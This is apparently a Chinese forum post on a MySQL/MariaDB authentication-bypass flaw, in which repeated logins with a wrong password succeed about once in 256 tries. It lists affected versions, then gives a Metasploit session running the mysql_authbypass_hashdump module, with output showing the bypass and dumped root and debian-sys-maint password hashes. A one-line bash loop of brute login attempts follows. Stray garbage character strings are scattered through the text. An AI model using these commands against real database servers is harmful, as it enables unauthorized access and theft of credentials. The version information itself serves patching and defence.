mysql任意用户密码概率登陆漏洞

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当连接MariaDB/MySQL时，输入的密码会与期望的正确密码比较，由于不正确的处理，会导致即便是memcmp()返回一个非零值，也会使MySQL认为两个密码是相同的。
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* e1 {1 N! U) C! B% {也就是说只要知道用户名，不断尝试就能够直接登入SQL数据库。按照公告说法大约256次就能够蒙对一次。而且漏洞利用工具已经出现。
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# s( m5 `" V: x! |% ~: L% _All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 are
vulnerable.
MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.

验证方法：
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2 M' U4 j0 j- m7 e$ msfconsole msf > use auxiliary/scanner/mysql/mysql_authbypass_hashdump msf auxiliary(mysql_authbypass_hashdump) > set USERNAME root msf auxiliary(mysql_authbypass_hashdump) > set RHOSTS 127.0.0.1 msf auxiliary(mysql_authbypass_hashdump) > run [+] 127.0.0.1:3306 The server allows logins, proceeding with bypass test [*] 127.0.0.1:3306 Authentication bypass is 10% complete [*] 127.0.0.1:3306 Authentication bypass is 20% complete [*] 127.0.0.1:3306 Successfully bypassed authentication after 205 attempts [+] 127.0.0.1:3306 Successful exploited the authentication bypass flaw, dumping hashes… [+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D [+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D [+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D [+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D [+] 127.0.0.1:3306 Saving HashString as Loot: debian-sys-maint:*C59FFB311C358B4EFD4F0B82D9A03CBD77DC7C89 [*] 127.0.0.1:3306 Hash Table has been saved: 20120611013537_default_127.0.0.1_mysql.hashes_889573.txt [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed

$ for i in `seq 1 1000`; do mysql -u root –password=bad -h 127.0.0.1 2>/dev/null; done mysql>
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